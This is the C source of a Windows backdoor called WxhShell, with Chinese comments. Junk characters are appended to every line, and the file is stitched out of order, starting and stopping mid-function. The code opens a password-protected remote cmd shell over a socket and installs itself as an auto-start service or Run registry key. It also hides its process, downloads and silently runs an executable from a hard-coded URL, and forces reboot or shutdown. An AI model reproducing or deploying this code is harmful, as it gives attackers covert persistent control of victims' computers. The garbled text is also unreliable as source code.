    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K=! C\T"I%  
    if(Boot(SHUTDOWN))  :yw8_D3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "!Qi$ ]  
    else { b@S~ =  
    closesocket(wsh); 7{tU'`P>  
    ExitThread(0); W|Cs{rBc?  
    } 99\lZ{f(  
    break; +[ng99p  
    } nx(jYXVT  
  // 获取shell U3jnH  
  case 's': { xS4?M<|L63  
    CmdShell(wsh); 63(XCO  
    closesocket(wsh); ]z!Df\I  
    ExitThread(0); c|@OD3w2lM  
    break; X?YT>+g;  
  } % *ng *  
  // 退出 'l<Oj&E  
  case 'x': { :-_"[:t 5Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #qu;{I#W3  
    CloseIt(wsh); ]SAGh|+xl  
    break; _?]W%R|  
    } |!81M|H  
  // 离开 U2r[.Ru  
  case 'q': { O1@3V/.Wu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); riF-9 %i  
    closesocket(wsh); PWeWz(]0Z4  
    WSACleanup(); ^6gEL~m|]  
    exit(1); t33\f<e  
    break; n%;4Fm?  
        } s{OV-H  
  } `z`=!1  
  } `,O"^zR)z  
VnqcpJ  
  // 提示信息 ?E,-P!&R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Scug wSB  
} 3&I3ViAH  
  } r0wAh/J|  
d;,Jf*x\  
  return; B8unF=u  
} 0dIGX |e  
.F'Cb)Z  
// shell模块句柄 Sz:PeUr9h  
int CmdShell(SOCKET sock) +f$ {r7  
{ 1,:QrhC  
STARTUPINFO si; ,k1ns?i9KH  
ZeroMemory(&si,sizeof(si)); p-m\0tQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iMv):1p>8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D^xg2D  
PROCESS_INFORMATION ProcessInfo; \x<,Ma=D  
char cmdline[]="cmd"; QL @SE@"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &lID6{79Z  
  return 0; H ?eG5  
} 2I3H?Lrx!m  
39m8iI%w[  
// 自身启动模式 vTo+jQs^  
int StartFromService(void) bxPJ5oT  
{ A>,kmU5  
typedef struct 3kh!dL3D  
{ WL|71?@C  
  DWORD ExitStatus; :`K2?;DC8  
  DWORD PebBaseAddress; NiEz3ODSi  
  DWORD AffinityMask; v-8{mK`9\  
  DWORD BasePriority; ([|^3tM  
  ULONG UniqueProcessId; ~;-2eKw  
  ULONG InheritedFromUniqueProcessId; 0eKLp8;Lh  
}   PROCESS_BASIC_INFORMATION; @NiLKcL#  
\Unawv~  
PROCNTQSIP NtQueryInformationProcess; 8QMMKO ui\  
<Qr*!-Kc6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; elR1NhB|p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -]-0]*oAp  
&> _aY #  
  HANDLE             hProcess; j+>[~c;0)  
  PROCESS_BASIC_INFORMATION pbi; -tx%#(?wH  
c (29JZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I %sw(uoE  
  if(NULL == hInst ) return 0; "$b{EYq6  
N A_8<B^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c6 .j$6t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zl>wWJ3y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {t4':{Y+  
O2"@09:  
  if (!NtQueryInformationProcess) return 0; xXnSo0`L F  
(#x&Y#5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pqj\vdzx  
  if(!hProcess) return 0; nET<u;  
Bio QV47B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _v 8u%  
bMsThoePT  
  CloseHandle(hProcess); 5z_Kkf?o  
@+_pj.D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xSO5?eR"u  
if(hProcess==NULL) return 0; ~[kI! [  
,Y#f0  
HMODULE hMod; UV</Nx)3  
char procName[255]; APJFy@l}  
unsigned long cbNeeded; t'yh&44_  
yRD tPK"E-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z%b1B<u$  
Q/J<$W*,  
  CloseHandle(hProcess); U6o]7j&6  
1vAJ(O{-  
if(strstr(procName,"services")) return 1; // 以服务启动 + rM]RFi  
+6~zMKp  
  return 0; // 注册表启动 }A[5\V^D*  
} K{9Vyt9,$  
>L8 & 6aU  
// 主模块 IGo5b-ds  
int StartWxhshell(LPSTR lpCmdLine) C!nbl+75  
{ k nzo6  
  SOCKET wsl; tkff\W[JU  
BOOL val=TRUE; &h.?~Ri  
  int port=0; %tPy]{S..  
  struct sockaddr_in door; aI|X~b  
KU Mk:5 c  
  if(wscfg.ws_autoins) Install(); M$Rh]3vqR  
L^PBcfg  
port=atoi(lpCmdLine); a1ps'^Qhh  
6OJhF7\0&  
if(port<=0) port=wscfg.ws_port; XWX]/j2jA  
YG5mzP<T  
  WSADATA data; {$ pi};  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4H@7t,>  
b7">IzAe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UZ6y3%G3^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (=Oo=8\  
  door.sin_family = AF_INET; .]a`-Ofn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m?1r@!/y  
  door.sin_port = htons(port); +bR|;b(v  
1.<gC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F7/%,vf  
closesocket(wsl); uJ fXe  
return 1; ]l3Y=Cl  
} T-iQ!D~  
meXwmO  
  if(listen(wsl,2) == INVALID_SOCKET) { bA'N2~.,  
closesocket(wsl); >5TXLOYZ  
return 1; )4hA Fy6l  
} .81 ~ K[  
  Wxhshell(wsl); ~]9EhC'l  
  WSACleanup(); %h;1}SFl0  
dB QCr{7  
return 0; )c 79&S  
yMmUOIxk\  
} DMSC(Sz  
D'^%Q_;u  
// 以NT服务方式启动 9+8N-LZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i=hA. y`  
{ K(?p]wh  
DWORD   status = 0; kbbHa_;aqV  
  DWORD   specificError = 0xfffffff; @3U=kO(^+\  
?k@;,l :s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MX+gc$Y O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?(}~[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h&!$ `)   
  serviceStatus.dwWin32ExitCode     = 0; ^&c &5S}  
  serviceStatus.dwServiceSpecificExitCode = 0; ~fzuz'"^  
  serviceStatus.dwCheckPoint       = 0; TN08 ,:k  
  serviceStatus.dwWaitHint       = 0; <^W5UU#Pg  
y@AUSh;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [By|3 bI  
  if (hServiceStatusHandle==0) return; H;DjM;be  
7h:EU7  
status = GetLastError(); ^gY'^2bzxu  
  if (status!=NO_ERROR) 5`i+a H(  
{ EY c)v6[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tWQ$`<h  
    serviceStatus.dwCheckPoint       = 0; Qw"%Xk  
    serviceStatus.dwWaitHint       = 0; (.wR!l# !  
    serviceStatus.dwWin32ExitCode     = status; \ NKw,`/  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q )8I(*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H:WuMwD4  
    return; {h.j6  
  } 9C!b f \  
<^942y-=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9T1 - {s R  
  serviceStatus.dwCheckPoint       = 0; 3;!!`R>e  
  serviceStatus.dwWaitHint       = 0; MOi1+`kwh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :2XX~|  
} r]aI=w<(f  
WD*z..`  
// 处理NT服务事件,比如:启动、停止 WY5HmNX3E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uU-1;m#N?  
{ |eJR3o  
switch(fdwControl) I SdB5Va  
{ Im]6-#(9\|  
case SERVICE_CONTROL_STOP: @~&^1%37)  
  serviceStatus.dwWin32ExitCode = 0; EN8xn9M?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D^U?!S&4~  
  serviceStatus.dwCheckPoint   = 0; U]9k,#  
  serviceStatus.dwWaitHint     = 0; WZP1g kX&M  
  { b?, =|H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QNxxW2+  
  } [8Z !dj   
  return; Ht]O:io`  
case SERVICE_CONTROL_PAUSE: 5v=e(Ph +  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @Q&k6.{4Z  
  break; e nw*[D !  
case SERVICE_CONTROL_CONTINUE: g+(Y)9h&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &^Gp  
  break; C<w&mFozL  
case SERVICE_CONTROL_INTERROGATE: cJM.Q_I}Y  
  break; ,e GF~  
}; ,#%I$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l|;]"&|_]c  
} VtGZB3  
_?eT[!oO8  
// 标准应用程序主函数 aB`jFp-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T#[#w*w/  
{ WYkh'sv >  
PY&mLux%  
// 获取操作系统版本 m3&b)O7  
OsIsNt=GetOsVer(); ,"YTG*ky  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JBLh4c3  
6fC Hd10!  
  // 从命令行安装 M 5`hMfg  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2R;#XmKS  
x,fL656t  
  // 下载执行文件 WSGho(\  
if(wscfg.ws_downexe) { 0Fsa&<{6?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .S4%Q9l  
  WinExec(wscfg.ws_filenam,SW_HIDE); GLMpWD`Wo  
} Dz8aJ6g  
}KEr@h,N  
if(!OsIsNt) { *u< ZQq  
// 如果时win9x,隐藏进程并且设置为注册表启动 +/" \.wYv  
HideProc(); vskp1Wi(  
StartWxhshell(lpCmdLine); upZf&4 I8  
} &VG  
else iqN?'8  
  if(StartFromService()) ^ohIJcI-  
  // 以服务方式启动 ksUF(lYk  
  StartServiceCtrlDispatcher(DispatchTable); #]Jg>  
else }d5~w[  
  // 普通方式启动 O]Y   z7  
  StartWxhshell(lpCmdLine); \l`{u)V  
bL+}n8B  
return 0; 6)>otB8)J  
} ofPv?_@  
y! QYdf?  
,R-aO= %  
P>03 DkbB  
=========================================== Py?Q::  
iJCv+p_f  
jvo^I$|2h  
o8NRu7@?  
2^f7GP  
)CgH|z:=b  
" imKMPO=  
!fjB oK+  
#include <stdio.h> .1_kRy2*.  
#include <string.h> \^jRMIM==  
#include <windows.h> wyXQP+9G  
#include <winsock2.h> @ rF|WT  
#include <winsvc.h> ~=|QPO(d  
#include <urlmon.h> J93xxj  
1xSG(!  
#pragma comment (lib, "Ws2_32.lib") x0)WrDb  
#pragma comment (lib, "urlmon.lib") r\)bN4-g  
C;.,+(G  
#define MAX_USER   100 // 最大客户端连接数 <;Tr   
#define BUF_SOCK   200 // sock buffer 9}H]4"f7  
#define KEY_BUFF   255 // 输入 buffer $ +$l?2  
p+d O w #  
#define REBOOT     0   // 重启 (%"9LYv  
#define SHUTDOWN   1   // 关机 IFhS(3 YK[  
 M+:9U&>  
#define DEF_PORT   5000 // 监听端口 )ybF@emc  
~R50-O  
#define REG_LEN     16   // 注册表键长度 z\woTL6D]  
#define SVC_LEN     80   // NT服务名长度 {Byh:-e<  
6RDy2JAOP  
// 从dll定义API  'S:$4j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v *`M3jb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2waPNb|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dcyHp>\)|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %.onO0})  
7+qKA1t^  
// wxhshell配置信息 2u+!7D!w$  
struct WSCFG { Wrh$`JC  
  int ws_port;         // 监听端口 ?0?3yD-!9  
  char ws_passstr[REG_LEN]; // 口令 [1O{yPV3s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8)ng> l  
  char ws_regname[REG_LEN]; // 注册表键名 ?GW}:'z  
  char ws_svcname[REG_LEN]; // 服务名 ;~'&m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vhcp[=e :  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M}Xf<:g)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rz[3cN)?q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G\B+bBz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s[t<2)i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Iga#,k+%  
o$rF-?  
}; Lj3Pp$h  
U]@?[+I0]  
// default Wxhshell configuration ,]]*}4[r  
struct WSCFG wscfg={DEF_PORT, 8_"NF%%(n  
    "xuhuanlingzhe", Y*S:/b~y  
    1, U3Z-1G~*r  
    "Wxhshell", kg\8 (@h]  
    "Wxhshell", <Y2$'ETD  
            "WxhShell Service", 4u"Bll  
    "Wrsky Windows CmdShell Service", D2=zrU3Y64  
    "Please Input Your Password: ", b};o:  
  1, +T8MQ[(4  
  "http://www.wrsky.com/wxhshell.exe", EdkIT|c{  
  "Wxhshell.exe" z,4 D'F&  
    }; oR/_{#Mz"  
\ Ce*5h  
// 消息定义模块 }}D32T VN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wm_rU]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [m%]C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +.OdrvN4)  
char *msg_ws_ext="\n\rExit."; HrfS^B  
char *msg_ws_end="\n\rQuit."; 9%1J..c  
char *msg_ws_boot="\n\rReboot..."; 't5`Ni  
char *msg_ws_poff="\n\rShutdown..."; m^=El7+  
char *msg_ws_down="\n\rSave to "; N/--6)5~0  
-4zV yW S<  
char *msg_ws_err="\n\rErr!"; >[;=c0(  
char *msg_ws_ok="\n\rOK!"; )nFyHAy-  
u05Yy&(f  
char ExeFile[MAX_PATH]; VxuV`Plf  
int nUser = 0; $mh\`  
HANDLE handles[MAX_USER]; _(I6o  
int OsIsNt; =I@I  
]V_A4Df  
SERVICE_STATUS       serviceStatus; :2&"ak>N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z# bO}!  
D W^Zuu/)  
// 函数声明 ,wXmJ)/WZ  
int Install(void); :7mHPe }(  
int Uninstall(void); 14jN0\  
int DownloadFile(char *sURL, SOCKET wsh); G$%F`R[  
int Boot(int flag); .Y"F3 R  
void HideProc(void); 32j}ep.*  
int GetOsVer(void); j@ D,2B;  
int Wxhshell(SOCKET wsl); C4P<GtR9  
void TalkWithClient(void *cs); 0bT[05.  
int CmdShell(SOCKET sock); q b/}&J7+  
int StartFromService(void); o. ;Vrc  
int StartWxhshell(LPSTR lpCmdLine); ^_<|~  
o:fe`#t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RAP-vVh/C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CxZh^V8LP  
l`i97P?/W  
// 数据结构和表定义 B4wRwrVI>  
SERVICE_TABLE_ENTRY DispatchTable[] = [ ~2imS  
{ j49Uj}:j  
{wscfg.ws_svcname, NTServiceMain}, $LFL4Q  
{NULL, NULL} 2J8:_Ql3I  
}; u+KZ. n/  
J9p4\=9  
// 自我安装 H;l_;c`  
int Install(void) O#^H.B  
{ ?%}!_F`h%  
  char svExeFile[MAX_PATH]; #/f~LTE  
  HKEY key; 8/BMFRJ  
  strcpy(svExeFile,ExeFile); pDSNI2  
D fzsA4  
// 如果是win9x系统,修改注册表设为自启动 +38R#2JV  
if(!OsIsNt) { UL{J%Ze=~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xq&BL,lS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 46Sz#^y P  
  RegCloseKey(key); {G VA4=UAE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s&(;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y,3ZdY"  
  RegCloseKey(key); IhYR4?e  
  return 0; ``Q6R2[|)  
    } ;'= cNj  
  } c$%*p (zY  
} nGkSS_X  
else { =@?[.`  
%&| uT  
// 如果是NT以上系统,安装为系统服务 %kjG[C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !W9:)5^X  
if (schSCManager!=0) `+"(GaZ  
{ y{>f^S<  
  SC_HANDLE schService = CreateService ?! 6Itkg  
  ( @ 2)nhW/z6  
  schSCManager, gtZmBe=  
  wscfg.ws_svcname, 4]ni-u0*  
  wscfg.ws_svcdisp, E<[ s+iX  
  SERVICE_ALL_ACCESS, }|Mwv $`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f,KB BBbG  
  SERVICE_AUTO_START, cN8Fn4gq  
  SERVICE_ERROR_NORMAL, 'in%Gii  
  svExeFile, v#d\YV{I  
  NULL, %gh#gH   
  NULL, O'mcN*  
  NULL, hEQyaDD;  
  NULL, ~<m^  
  NULL c{BAQZVc  
  ); wG3b{0  
  if (schService!=0) yXJ25Axb  
  { DfD >hf/  
  CloseServiceHandle(schService); .4)oZ  
  CloseServiceHandle(schSCManager); !S#3mT-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4JAz{aw'b  
  strcat(svExeFile,wscfg.ws_svcname); . : Wf>:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j)?M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ehr-o7](  
  RegCloseKey(key); *WQ?r&[_'  
  return 0; 6FA+q YSV  
    } 5M0Q'"`F:  
  } L(VFzPkY%  
  CloseServiceHandle(schSCManager); f +{=##'0  
} gwRB6m$  
} <46&R[17M  
FklR!*oL,)  
return 1; xR/CP.dg  
} ctZ,qg*N  
m9DFnk<D  
// 自我卸载 }kqh[`:  
int Uninstall(void) 3ic /xy;}  
{ >8e)V ;  
  HKEY key; Mw/9DrE7/  
`$B?TNuch7  
if(!OsIsNt) { I)Xf4F S@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]P0%S@]  
  RegDeleteValue(key,wscfg.ws_regname); &v{#yzM  
  RegCloseKey(key); 73;Y(uh9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = :gKh  
  RegDeleteValue(key,wscfg.ws_regname); q!y.cyL  
  RegCloseKey(key); mgAjD.  
  return 0; yYA*5 7^A  
  } /?'~`4!(  
} K ze?@*  
} fp' '+R[   
else { }=[p>3Dd  
n1."Qix0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NP T-d  
if (schSCManager!=0) DM^0[3XuV5  
{ R| ?Q&F_$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~~W.]>f  
  if (schService!=0) bY" zK',m  
  { d4S4 e  
  if(DeleteService(schService)!=0) { V*jl  
  CloseServiceHandle(schService); )QE6X67i  
  CloseServiceHandle(schSCManager); &B{zS K$N  
  return 0; Qn*l,Z]US  
  } 8G:/f3B=  
  CloseServiceHandle(schService); msBoInhI  
  } v-}f P  
  CloseServiceHandle(schSCManager); d@R7b^#g  
} E(~7NRRm  
} 4&mY-N7A  
JbPkC*.  
return 1; dy&G~F28  
} ,hn#DJ)  
 XIInI  
// 从指定url下载文件 7;EDU  
int DownloadFile(char *sURL, SOCKET wsh) @]l|-xGCWn  
{ * ,a F-  
  HRESULT hr; {rc3`<%  
char seps[]= "/"; *D? =Ts  
char *token; hIe.Mv-I)  
char *file; .-Lrrk)R+  
char myURL[MAX_PATH]; >v+1 v  
char myFILE[MAX_PATH]; a !VWWUTm?  
0/R;g~q@  
strcpy(myURL,sURL); f .O^R~,  
  token=strtok(myURL,seps); Kb%Y%j  
  while(token!=NULL) =X R~I  
  { 1K Fd ~U  
    file=token; LYD iqOrx  
  token=strtok(NULL,seps); 4 Ej->T.  
  } TKB8%/_p  
n _K1%  
GetCurrentDirectory(MAX_PATH,myFILE); d{S'6*`D  
strcat(myFILE, "\\"); IuXgxR%  
strcat(myFILE, file); c]4X`3]  
  send(wsh,myFILE,strlen(myFILE),0); #X-C~*|>j  
send(wsh,"...",3,0); dn 6]qW5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g *Js4  
  if(hr==S_OK) Cbff:IP  
return 0; oco,sxT  
else z!g$#hmL>  
return 1; mw"FQ?bJ  
iB)\* )  
} *K/K97  
cW%)C.M  
// 系统电源模块 jFN0xGZ  
int Boot(int flag) #]}Ii{1?Y  
{ Kv@P Uzu  
  HANDLE hToken; Nf] ?hfJ  
  TOKEN_PRIVILEGES tkp; ,Cr%2Wg-  
&>jz[3  
  if(OsIsNt) { Q!l(2nva  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y$JVxly  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8_%GH}{  
    tkp.PrivilegeCount = 1; AG,><UP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F$t]JM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q;e b  
if(flag==REBOOT) { #/YS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kLgkUck8]  
  return 0; T?1BcY  
} c(Dp`f,  
else { n #X~"|U`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wkp2A18n  
  return 0; fI`Ez!w0  
} IWv(G Qx  
  } g{N}]_%Uh  
  else { kY]"3a  
if(flag==REBOOT) { /b,>fK^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m*y&z'e\  
  return 0; S`s]zdUTP  
} u9"kF  
else { :rb;*nY!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }g+kU1y  
  return 0; mF 1f(  
} {!2K-7;  
} rUKg<]&@  
Biv)s@"f-Q  
return 1; q1rj!7  
} T1Py6Q,-  
9Q9{>d#"  
// win9x进程隐藏模块 ("a@V8M`$F  
void HideProc(void) T_*inPf  
{ N@|<3R!N*e  
[<XYU,{R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6{)pF  
  if ( hKernel != NULL ) _^_3>}y5op  
  { og";mC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xT> 9ZZcE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V|YQhd0kv  
    FreeLibrary(hKernel); 89M'klZ   
  } Q/|.=:~FO  
m1W) PUy  
return; %,[,mW4l   
} i]MemM-  
9^/Y7Wp/@  
// 获取操作系统版本 `KZV@t  
int GetOsVer(void) N:lE{IvRJ  
{ ,V1"Typ#<  
  OSVERSIONINFO winfo; wNmpUO ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]gBnzh.  
  GetVersionEx(&winfo); Ek<Qz5)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v]SxZLa  
  return 1; )WoH>D  
  else Z#.d7B"  
  return 0; *EuX7LEu_  
} l,o'J%<%  
1m5l((d  
// 客户端句柄模块 Ey7zb#/<!  
int Wxhshell(SOCKET wsl) O>DS%6/G  
{ y]Nk^ga:U6  
  SOCKET wsh; =q VT  
  struct sockaddr_in client; =2$ ( tXL  
  DWORD myID; C_J@:HlJ  
uX-^ 9t  
  while(nUser<MAX_USER) =d Q[I6  
{ uGZGI;9f4  
  int nSize=sizeof(client); |3~m8v2-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V0^{Ss1M  
  if(wsh==INVALID_SOCKET) return 1; C+' -TLeu  
^}P94(oz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "6d0j)YO  
if(handles[nUser]==0) 5Y+YN1  
  closesocket(wsh); yy3x]%KK  
else ;O7"!\  
  nUser++; v*V( hMy  
  } xn`)I>v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d92Z;FWb  
eKOEOm+  
  return 0; uF<34  
} [)V~U?  
nT?+^Ruc  
// 关闭 socket 2OoANiX  
void CloseIt(SOCKET wsh) L(|K{vHh]  
{ aV$kxzEc  
closesocket(wsh); mo^E8t.  
nUser--; zr!7*, p  
ExitThread(0); OB.rETg  
} yBy7d!@2  
tU?BR<q  
// 客户端请求句柄 U,!qNi}  
void TalkWithClient(void *cs) ]EHsRd  
{ ?7fqWlB  
4~Qnhv7  
  SOCKET wsh=(SOCKET)cs; y#a,d||N1  
  char pwd[SVC_LEN]; n#6{K6}k~  
  char cmd[KEY_BUFF]; PE5*]+lW.  
char chr[1]; [~8U],?1  
int i,j; 'd2 :a2C]  
<TVJ9l  
  while (nUser < MAX_USER) { ;j9%D`u<  
*OA(v^@tx7  
if(wscfg.ws_passstr) { _>vH%FY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @RPQ 1da  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AZ(zM.y!#_  
  //ZeroMemory(pwd,KEY_BUFF); S`vt\g$ dN  
      i=0; A8tJ&O rwY  
  while(i<SVC_LEN) { e.vt"eRB  
rf=l1GW  
  // 设置超时 <P#BQt f  
  fd_set FdRead; rQl9SUs  
  struct timeval TimeOut; dm}1"BU<  
  FD_ZERO(&FdRead); lW5Lwyt8  
  FD_SET(wsh,&FdRead); {> ,M  
  TimeOut.tv_sec=8; )jXKPLj  
  TimeOut.tv_usec=0; :h(RS ;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i[[.1MnS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (nO2+@ !  
K+|XI|1p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pyV`O[  
  pwd=chr[0]; aB6/-T+ u  
  if(chr[0]==0xd || chr[0]==0xa) { f_)#  
  pwd=0;  el2Wk@*  
  break; &?y@`',a0{  
  } Ub\^3f  
  i++; w<H2#d>5!@  
    } w=]A;GgA  
[z"E"_r~%Y  
  // 如果是非法用户,关闭 socket ?;o0~][!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4L,wBce;,t  
} - BWf.  
)Wle CS_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R]yce2w"z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R ?s;L r  
D SX%SE)  
while(1) { }>M\iPO.]*  
^1~lnD~0  
  ZeroMemory(cmd,KEY_BUFF); b_`h2dUq  
r^6@Zwox]  
      // 自动支持客户端 telnet标准   ?#GTD?3d  
  j=0;  Y:/p0 o  
  while(j<KEY_BUFF) { =COQv=GT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qv(3qY  
  cmd[j]=chr[0]; d-b<_k{p  
  if(chr[0]==0xa || chr[0]==0xd) { :@)R@. -  
  cmd[j]=0; 2T}>9X  
  break; ~D@YLW1z(  
  } "8%$,rG1&  
  j++; Zj -#"Gm  
    } adu6`2 *$  
o@N[O^Q V  
  // 下载文件 oUn+tu:  
  if(strstr(cmd,"http://")) { w2xD1oK~o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5wW5 n5YS  
  if(DownloadFile(cmd,wsh)) +%j27~ R>D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,vLQx\m{  
  else cWo>DuW&  
